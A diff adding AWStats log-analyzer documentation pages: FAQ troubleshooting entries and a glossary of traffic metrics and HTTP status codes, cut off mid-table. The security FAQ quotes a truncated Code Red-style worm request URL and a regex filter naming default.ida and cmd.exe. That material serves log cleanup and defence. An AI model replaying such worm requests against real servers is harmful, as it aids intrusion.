+<i>browsers.pm</i><br> +<i>browsers_phone.pm</i><br> +<i>domains.pm</i><br> +<i>operating_systems.pm</i><br> +<i>robots.pm</i><br> +<i>search_engines.pm</i><br> +<i>worms.pm</i><br> +<i>status_http.pm</i><br> +<i>status_smtp.pm</i><br> +<br> + +<a name="COULDNOTOPEN"></a><br> +<b><u>FAQ-SET300 : ERROR "COULDN'T OPEN FILE ..."</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I have the following error:<br> +<i>"Couldn't open file /workingpath/awstatsmmyyyy.tmp.9999: Permission denied."</i><br> +<font class=CSolution>SOLUTION:</font><br> +This error means that the web server didn't succeed in writing the working temporary file (file ended by .tmp.9999 +where 9999 is a number) because of permissions problems.<br> +First check that the directory <i>/workingpath</i> has "Write" permission for<br> +user <u>nobody</u> (default user used by Apache on Linux systems)<br> +or user <u>IUSR_<i>SERVERNAME</i></u> (default used user by IIS on NT).<br> +With Unix, try with a path with no links.<br> +With NT, you must check NTFS permissions ("Read/Write/Modify"), if your directory is on a NTFS partition.<br> +With IIS, there is also a "Write" permission attribute, defined in directory properties +in your IIS setup, that you must check.<br> +With IIS, if a default cgi-bin directory was created during IIS install, try to +put AWStats directly into this directory.<br> +If this still fails, you can change the DirData parameter to say AWStats +that you want to use another directory (A directory you are sure that the default +user, used by web server process, can write into).<br> +<br> + +<a name="MALFORMEDUTF8"></a><br> +<b><u>FAQ-SET320 : ERROR "MALFORMED UTF-8 CHARACTER (UNEXPECTED ..."</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When running AWStats from command line, I get one or several lines like this +on my output:<br> +<i>Malformed UTF-8 character (unexpected non-continuation byte 0x6d, immediately after start byte 0xe4) at /www/cgi-bin/lib/xxx.pm line 999.</i> +<br> +<font class=CSolution>SOLUTION:</font><br> +This problem appeared with RedHat 8 and Perl 5.8.<br> +I don't know if RedHat provides a fix for this, but some users had reported that you can +remove thoose warmless messages by changing your LANG environment variable, removing +the ".UTF-8" at the end. For example, set <i>LANG="en_US"</i> instead of <i>LANG="en_US.UTF8"</i><br> +<br> + +<a name="EMPTY_STATS"></a><br> +<b><u>FAQ-SET350 : EMPTY OR NULL STATISTICS REPORTED</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +AWStats seems to work but I'm not getting any results. i get a statistics page that looks like i have no hits.<br> +<font class=CSolution>SOLUTION:</font><br> +That's one of the most common problem you can get and there is 3 possible reasons :<br> +<br> +1) Your log file format setup might be wrong.<br> +<u>If you use Apache web server</u><br> +The best way of working is to use the <i>"combined"</i> log format (See the <a href="awstats_setup.html">Setup and Use</a> page +to know the way to change your Apache server log from <i>"common"</i> log format into <i>"combined"</i>). +Don't forget to stop Apache, reset your log file and restart Apache to make change into combined +effective. Then you must setup your AWStats config file with value <a href="awstats_config.html#LogFormat">LogFormat</a>=1.<br> +If you want to use another format, read the next FAQ to have examples of LogFile value according +to log files format.<br> +<u>If you use IIS server or Windows built-in web server</u><br> +The Internet Information Server default W3C Extended Log Format will not work correctly with AWStats. +To make it work correctly, start the IIS Snap-in, select the web site and look at it's Properties. +Choose W3C Extended Log Format, then Properties, then the Tab Extended Properties and uncheck everything +under Extended Properties. Once they are all unchecked, check off the list given in +the <a href="awstats_setup.html">Setup and Use</a> page ("With IIS Server" chapter).<br> +You can also read the next FAQ to have examples of <a href="awstats_config.html#LogFormat">LogFormat</a> value according to log files format.<br> +<br> +2) You are viewing stats for a year or month when no hits was made on your server.<br> +When you run awstats, the reports is by default for the current month/year.<br> +If you want to see data for another month/year you must:<br> +Add -year=YYYY -month=MM on command line when building the html report page from command line.<br> +Use an URL like http://myserver/cgi-bin/awstats.pl?config=xxx&year=YYYY&month=MM if viewing stats with AWStats used as a CGI.<br> +<br> +3) When you read your statistics, AWStats does not use the same config file than the one +used for the update process. Scan your disk for files that match <i>awstats.*conf</i> and remove +all files that are not the config file(s) you need (awstats.conf files, if found, can be deleted. +It is better to use a config file called awstats.mydomain.conf).<br> +<br> + +<a name="PARTIAL_STATS"></a><br> +<b><u>FAQ-SET360 : STATISTICS REPORTED EXCEPT FOR OS, BROWSERS, ROBOTS AND KEYWORDS/KEYPHRASES</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +AWStats seems to report my statistics however some charts, like robots, os', browsers, search engines, +or keywords/keyphrases are empty.<br> +<font class=CSolution>SOLUTION:</font><br> +If only robots, search engines or keywords/keyphrases are empty, this simply means your web site was not +yet visited by any robots and noone found your site using a search engines (this happens particularly +for Intranet which are not referenced on search engines). +If all of them are empty or with only unknown values, even after several updates, this probably means +that your logfile does not contains all informations, this happens with Apache when using the +standard <i>"common"</i> log format instead of the standard <i>"combined"</i> log format.<br> +You may also use LogFormat=4 into your AWStats config files instead of 1.<br> +Read AWStats setup documentation to known how to setup your Apache Web server to report logs in +a "combined" log format then set <a href="awstats_config.html#LogFormat">LogFormat</a>=1 into your +AWStats config file.<br> +<br> + +<a name="REDIRECT"></a><br> +<b><u>FAQ-SET400 : PIPE REDIRECTION TO A FILE GIVE ME AN EMPTY FILE</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to redirect awstats.pl output to a file with the following command :<br> +>awstats.pl -config=... [other_options] > myfile.html<br> +But myfile.html is empty (size is 0). If i remove the redirection, everythings works correctly.<br> +<font class=CSolution>SOLUTION:</font><br> +This is not an AWStats bug but a problem between Perl and Windows.<br> +You can easily solve this running the following command instead:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats.pl -config=... [other_options] > myfile.html +</td></tr></table> +<br> + +<a name="NO_ICON"></a><br> +<b><u>FAQ-SET450 : NO PICTURES/GRAPHICS SHOWN</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +AWStats seems to work (all data and counters seem to be good) but I have no image shown.<br> +<font class=CSolution>SOLUTION:</font><br> +With Apache web server, you might have troubles (no picture shown on stats page) if you use a directory called "icons" (because of Apache +pre-defined "icons" alias directory), so use instead, for example, a directory called "icon" with +no s at the end (Rename your directory physically and change the <a href="awstats_config.html#DirIcons">DirIcons</a> parameter in config file +to reflect this change).<br> +<br> + +<a name="MIGRATEDOUBLED"></a><br> +<b><u>FAQ-SET700 : MY VISITS ARE DOUBLED FOR OLD MONTH I MIGRATED FROM 3.2 TO 5.X</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +After having migrated an old history file for a month, the number of visits for this month is doubled. +So the number of "visits per visitor" is also doubled and "pages per visit" and "hits per visit" is divided by 2. +All other data like "pages", "hits" and bandwith are correct.<br> +<font class=CSolution>SOLUTION:</font><br> +This problem occurs when migrating history files from 3.2 to 5.x.<br> +To fix this you can use the following tip (warning, do this only after migrating from +3.2 to 5.x and if your visit value is doubled). The goal is to remove the line +in history file that looks like this<br> +<i>YYYYMM00 999 999 999 999</i><br> +where YYYY and MM are year and month of config file and 999 are numerical values.<br> +<br> +<b>So if your OS is Unix/Linux</b><br> +<i> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +grep -vE '^[0-9]{6}00' oldhistoryfile > newhistoryfile<br> +mv newhistoryfile oldhistoryfile<br> +</td></tr></table> +</i> +And then run the migrate process again on the file.<br> +<br> +<b>If your OS is windows and got cygwin</b><br> +You must follow same instructions than if OS is Unix/Linux BUT +you must do this from a cygwin 'sh' shell and not from the DOS +prompt (because the ^ is not understanded by DOS).<br> +And then run the migrate process again on the file.<br> +<br> +<b>In any other case (in fact works for every OS)</b><br> +You must remove manually the line <i>YYYYMM00 999 999 999 999</i> (must find one and only +one such line) and then run the migrate process again on the file.<br> +<br> + +<a name="OUTOFMEMORYCYGWIN"></a><br> +<b><u>FAQ-SET750 : AWSTATS RUN OUT OF MEMORY DURING UPDATE PROCESS WITH CYGWIN PERL</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When I run the update process on a large log file with cygwin Perl, AWStats run out of memory +but I am sure that I have enough memory to run AWStats according to the 'memory' column in +benchmark chart available in AWStats documentation (<a href="awstats_benchmark.html">benchmark page</a>).<br> +<font class=CSolution>SOLUTION:</font><br> +It might be a limit inside Cygwin Perl. +Try to increase the Cygwin parameter <i>heap_chunk_in_mb</i>.<br> +<br> + +<a name="SPEED"></a><br> +<b><u>FAQ-SET800 : AWSTATS SPEED/TIMEOUT PROBLEMS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +When I analyze large log files, processing times are very important (Example: update process from a browser +returns a timeout/internal error after a long wait). +Is there a setup or things to do to avoid this and increase speed ?<br> +<font class=CSolution>SOLUTION:</font><br> +You really need to understand how a log analyzer works to have good speed. +There is also major setup changes you can do to decrease your processing time.<br> +See <a href="awstats_benchmark.html#ADVICES">important advices</a> in benchmark page.<br> +<br> + + +<hr><br> + + +<a name="CSSATTACK"></a><br> +<b><u>FAQ-SEC100 : CAN AWSTATS BE USED TO MAKE CROSS SITE SCRIPTING ATTACKS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +If a bad user use a browser to make a hit on an URL that include a < SCRIPT > ... < /SCRIPT > +section in its parameter, when AWStats will show the links on the report page, does the script will be executed ?<br> +<font class=CSolution>SOLUTION:</font><br> +No. AWStats use a filter to remove all scripts codes that was included in an URL to make a Cross Site Scripting Attack using a +log analyzer report page.<br> +<br> + +<a name="SECUSER"></a><br> +<b><u>FAQ-SEC150 : HOW CAN I PREVENT SOME USERS TO SEE STATISTICS OF OTHER USERS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I don't want a user xxx (having a site www.xxx.com) to see statistics of user yyy (having +a site www.yyy.com). How can i setup AWStats for this ?<br> +<font class=CSolution>SOLUTION:</font><br> +Take a look at the <a href="awstats_security.html">security page</a>.<br> +<br> + +<a name="WORMS"></a><br> +<b><u>FAQ-SEC200 : HOW TO MANAGE LOG FILES (AND STATISTICS) CORRUPTED BY 'WORMS' ATTACKS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +My site is attacked by some worms viruses (like Nimba, Code Red...). This make my log file corrupted +and full of 404 errors. So my statistics are also full of 404 errors. This make AWStats slower and my history files very large. +Can I do something to avoid this ?<br> +<font class=CSolution>SOLUTION:</font><br> +Yes.<br> +'Worms' attacks are infected browsers, robots or server changed into web client that make hits on your site using a very long +unknown URL like this one:<br> +<i>/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%40%50...%40%50</i><br> +URL is generated by the infected robot and the purpose is to exploit a vulnerability of the web server (In most cases, only IIS is vulnerable). +With such attacks, you will will always find a 'common string' in those URLs. +For example, with Code Red worm, there is always default.ida in the URL string. Some other worms send URLs with cmd.exe in it.<br> +With 6.0 version and higher, you can set the <a href="awstats_config.html#LevelFor">LevelForWormsDetection</a> +parameter to "2" and <a href="awstats_config.html#Show">ShowWormsStats</a> to "HBL" in +config file to enable the worm filtering nd reporting.<br> +However, this feature reduce seriously AWStats speed and the worms database (lib/worms.pm file) can't contain +all worms signatures. So if you still have rubish hits, you can modify the worms.pm file yourself or +edit your config file to add in the <a href="awstats_config.html#SkipFiles">SkipFiles</a> parameter some +values to discard the not required records, using a regex syntax like example :<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +SkipFiles="REGEX[^\/default\.ida] REGEX[\/winnt\/system32\/cmd\.exe]"<br> +</td></tr></table> +<br> + +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> + diff --git a/src/main/webapp/monitoramento/docs/awstats_glossary.html b/src/main/webapp/monitoramento/docs/awstats_glossary.html new file mode 100644 index 0000000..cf8abe8 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_glossary.html @@ -0,0 +1,800 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Glossary of terms"> +<meta name="keywords" content="awstats, awstat, glossary, terms, definition, lexical, index"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Glossary"><title>AWStats Documentation - Glossary</title> + +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.41 $ - $Author: eldy $ - $Date: 2012/12/08 11:54:41 $ --> +</head> +<body topmargin="10" leftmargin="5"> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.1 +Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> +</tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Glossary</h1> +<br> +<a name="Unique Visitor"><b>Unique Visitor</b></a>:<br> +A unique +visitor is a person or computer (host) that has made at least 1 hit +on 1 page of your web site during the current period shown by the +report. +If this user makes several visits during this period, it is counted +only once. Visitors are tracked by IP address, so if multiple users are +accessing your site from the same IP (such as a home or office +network), they will be counted as a single unique visitor.<br> +The period shown by AWStats reports is by default the current month.<br> +However if you use AWStats as a CGI you can click on the "year" link to +have a report for all the year. +In such a report, period is a full year, so Unique Visitors are number +of hosts that have made at least 1 hit +on 1 page of your web site during the year.<br> +<hr> +<a name="Visits"><b>Visits</b></a>:<br> +Number of visits made by all visitors.<br> +Think "session" here, say a unique IP accesses a page, and then +requests three other pages within an hour. All of the "pages" are +included in the visit, therefore you should expect +multiple pages per visit and multiple visits per unique visitor +(assuming that some of the unique IPs are +logged with more than an hour between requests)<br> +<hr> +<a name="Pages"><b>Pages</b></a>:<br> +The number of "pages" viewed by visitors. Pages are usually HTML, PHP +or ASP files, not images or other files requested as a result +of loading a "Page" (like js,css... files). Files listed in the +NotPageList config +parameter (and match an entry of OnlyFiles config parameter if used) +are not counted as "Pages". +<hr><a name="Hits"><b>Hits</b></a>:<br> +Any files requested from the server (including files that are "Pages") +except those that match +the SkipFiles config parameter.<br> +<hr> +<a name="Bandwidth"><b>Bandwidth</b></a>:<br> +Total number of bytes for pages, images and files downloaded by web +browsing.<br> +Note 1: Of course, this number includes only traffic for web only (or +mail only, or ftp only +depending on value of LogType).<br> +Note 2: This number does not include technical header data size used +inside the HTTP or HTTPS protocol or by +protocols at a lower level (TCP, IP...).<br> +Because of two previous notes, this number is often lower than bandwith +reported by your provider (your +provider counts in most cases bandwitdh at a lower level and includes +all IP and UDP traffic).<br> +<hr> +<a name="Entry Page"><b>Entry Page</b></a>:<br> +First page viewed by a visitor during its visit.<br> +Note: When a visit started at end of month to end at beginning of next +month, +you might have an Entry page for the month report and no Exit pages.<br> +That's why Entry pages can be different than Exit pages.<br> +<hr> +<a name="Exit Page"><b>Exit Page</b></a>:<br> +Last page viewed by a visitor during its visit.<br> +Note: When a visit started at end of month to end at beginning of next +month, +you might have an Entry page for the month report and no Exit pages.<br> +That's why Entry pages can be different than Exit pages.<br> +<hr> +<a name="Session Duration"><b>Session Duration</b></a>:<br> +The time a visitor spent on your site for each visit.<br> +Some Visits durations are 'unknown' because they can't always be +calculated. This is the major reason for this:<br> +- Visit was not finished when 'update' occured.<br> +- Visit started the last hour (after 23:00) of the last day of a month +(A technical reason prevents AWStats from +calculating duration of such sessions).<br> +<hr> +<a name="Grabber"><b>Grabber</b></a>:<br> +A browser that is used primarily for copying locally an entire site. +These include +for example "teleport", "webcapture", "webcopier"...<br> +<hr> +<a name="Direct"><b>Direct access / Bookmark</b></a>:<br> +This number represent the number of hits or ratio of hits when a visit +to your site comes +from a direct access. This means the first page of your web site was +called:<br> +- By typing your URL on the web browser address bar<br> +- By clicking on your URL stored by a visitor inside its favorites<br> +- By clicking on your URL found everywhere but not another internet web +pages (a link in a document, +an application, etc...)<br> +- Clicking an URL of your site inside a mail is often counted here.<br> +<hr> +<a name="AddToFavourites"><b>Add To Favourites</b></a>:<br> +This value, available in the "miscellanous chart", reports an estimated +indicator +that can be used to have an idea of the number of times a visitor has +added your web +site into its favourite bookmarks.<br> +The technical rules for that is the following formula:<br> +<i>Number of Add to Favourites = round((x+y) / r)</i><br> +where<br> +x = Number of hits made by IE browsers for "/anydir/favicon.ico", with +a referer field not defined, and with no 404 error code<br> +y = Number of hits made by IE browsers for "/favicon.ico", with a +referer field not defined, with or without 404 error code<br> +r = Ratio of hits made by IE browsers compared to hits made by all +browsers (r <= 1)<br> +<br> +As you can see in formula, only IE is used to count reliable "add", the +"Add to favourites" +for other browsers are estimated using ratio of other browsers usage +compared to ratio of +IE usage. The reason is that only IE do a hit on favicon.ico nearly +ONLY when a user add the +page to its favourites. The other browsers make often hits on this file +also for other reasons +so we can't count one "hit" as one "add" since it might be a hit for +another reason.<br> +AWStats differentiate also hits with error and not to avoid counting +multiple hits +made recursively in upper path when favicon.ico file is not found in +deeper directory +of path.<br> +Note that this number is just an indicator that is in most case higher +than true value. +The reason is that even IE browser sometimes make hit on favicon +without an "Add to favourites" +action by a user. +<hr><a name="HTTP"><b>HTTP Status Codes</b></a>:<br> +HTTP status codes are returned by web servers to indicate the status of +a request. +Codes <b>200</b> and <b>304</b> are used to +tell the browser the page can be viewed. +<span style="font-weight: bold;">206</span> codes indicate partial +downloading of content and is reported in the Downloads section. All +other codes generates hits and traffic 'not seen' by the visitor. +For example a return +code 301 or 302 will tell the browser to ask another page. The browser +will do another hit +and should finaly receive the page with a return code <b>200</b> +and <b>304</b>. +All codes that are 'unseen' traffic are isolated by AWStats in the HTTP +Status report chart, +enabled by the directives <a href="awstats_config.html#Show">ShowHTTPErrorsStats</a>. +in config file. You can also change value for 'not error' hits (set by +default to <b>200</b> and <b>304</b> +with the <a href="awstats_config.html#ValidHTTPcodes">ValidHTTPcodes</a> +directive. +The following table outlines all status codes defined for the HTTP/1.1 +draft specification +outlined in <a href="http://www.w3.org/Protocols/rfc2068/rfc2068">IETF +rfc 2068</a>.<br> +They are 3-digit codes where the first digit of this code identifies +the class of the status +code and the remaining 2 digits correspond to the specific condition +within the response class. +They are classified in 5 categories:<br> +<ul> +<li><font face="arial"><font size="-1"><a href="#1">1xx - informational</a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#2">2xx - successful</a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#3">3xx - redirection</a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#4">4xx - client error </a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#5">5xx - server error </a></font></font></li> +</ul> +<table width="90%"> +<tbody> +<tr> +<td bgcolor="#dadada" valign="top"><!-- HTTP 1xx codes --> +<a name="1"></a><b><font face="arial">1xx +class - Informational</font></b> +<br> +<font face="arial"><font size="-1">Informational +status codes are provisional +responses from the web server... they give the client a heads-up on +what +the server is doing. Informational codes do not indicate an error +condition. </font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">100</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">100 Continue</font></font></b> +<br> +<font face="arial"><font size="-1">The +continue status code tells the +browser to continue sending a request to the server. </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">101</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">101 Switching +Protocols</font></font></b> +<br> +<font face="arial"><font size="-1">The +server sends this response when +the client asks to switch from HTTP/1.0 to HTTP/1.1 </font></font></td> +</tr> +</tbody> +</table> +<p><a name="2"></a><b><font face="arial">2xx class - Successful</font></b> +<br> +<font face="arial"><font size="-1">This +class of status code indicates +that the client's request was received, understood, and +successful. </font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">200</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">200 Successful</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">201</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">201 Created</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">202</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">202 Accepted</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">203</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">203 +Non-Authorative Information</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">204</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">204 No Content</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">205</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">205 Reset Content</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">206</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">206 Partial Content</font></font></b> +<br> +<font face="arial"><font size="-1">The +partial content success code is +issued when the server fulfills a partial GET request. This happens +when +the client is downloading a multi-part document or part of a larger +file. </font></font></td> +</tr> +</tbody> +</table> +<!-- HTTP 3xx codes --> +<a name="3"></a><b><font face="arial">3xx +class - Redirection</font></b> +<br> +<font face="arial"><font size="-1">This +code tells the client that the +browser should be redirected to another URL in order to complete the +request. +This is not an error condition. </font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">300</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">300 Multiple +Choices</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">301</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">301 Moved +Permanently</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">302</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">302 Moved +Temporarily</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">303</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">303 See Other</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">304</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">304 Not Modified</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">305</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">305 Use Proxy</font></font></b></td> +</tr> +</tbody> +</table> +<!-- HTTP 4xx codes --> +<a name="4"></a><b><font face="arial">4xx +class - Client Error</font></b> +<br> +<font face="arial"><font size="-1">This +status code indicates that the +client has sent bad data or a malformed request to the server. Client +errors +are generally issued by the webserver when a client tries to gain +access +to a protected area using a bad username and password. </font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">400</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">400 Bad Request</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">401</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">401 Unauthorized</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">402</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">402 Payment +Required</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">403</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">403 Forbidden</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">404</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">404 Not Found</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">405</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">400 Method Not +Allowed</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">406</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">400 Not Acceptable</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">407</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">400 Proxy +Authentication Required</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">408</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">400 Request Timeout</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">409</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">409 Conflict</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">410</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">410 Gone</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">411</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">411 Length Required</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">412</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">412 Precondition +Failed</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">413</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">413 Request Entity +Too Long</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">414</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">414 Request-URI +Too Long</font></font></b></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">415</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">415 Unsupported +Media Type</font></font></b></td> +</tr> +</tbody> +</table> +<!-- HTTP 5xx codes --> +<a name="5"></a><b><font face="arial">5xx +class - Server Error</font></b> +<br> +<font face="arial"><font size="-1">This +status code indicates that the +client's request couldn't be succesfully processed due to some internal +error in the web server. These error codes may indicate something is +seriously +wrong with the web server. </font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">500</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">500 Internal +Server Error</font></font></b> +<br> +<font face="arial"><font size="-1">An +internal server error has caused +the server to abort your request. This is an error condition that may +also +indicate a misconfiguration with the web server. However, the most +common +reason for 500 server errors is when you try to execute a script that +has +syntax errors. </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">501</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">501 Not Implemented</font></font></b> +<br> +<font face="arial"><font size="-1">This +code is generated by a webserver +when the client requests a service that is not implemented on the +server. +Typically, not implemented codes are returned when a client attempts to +POST data to a non-CGI (ie, the form action tag refers to a +non-executable +file). </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">502</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">502 Bad Gateway</font></font></b> +<br> +<font face="arial"><font size="-1">The +server, when acting as a proxy, +issues this response when it receives a bad response from an upstream +or +support server. </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font 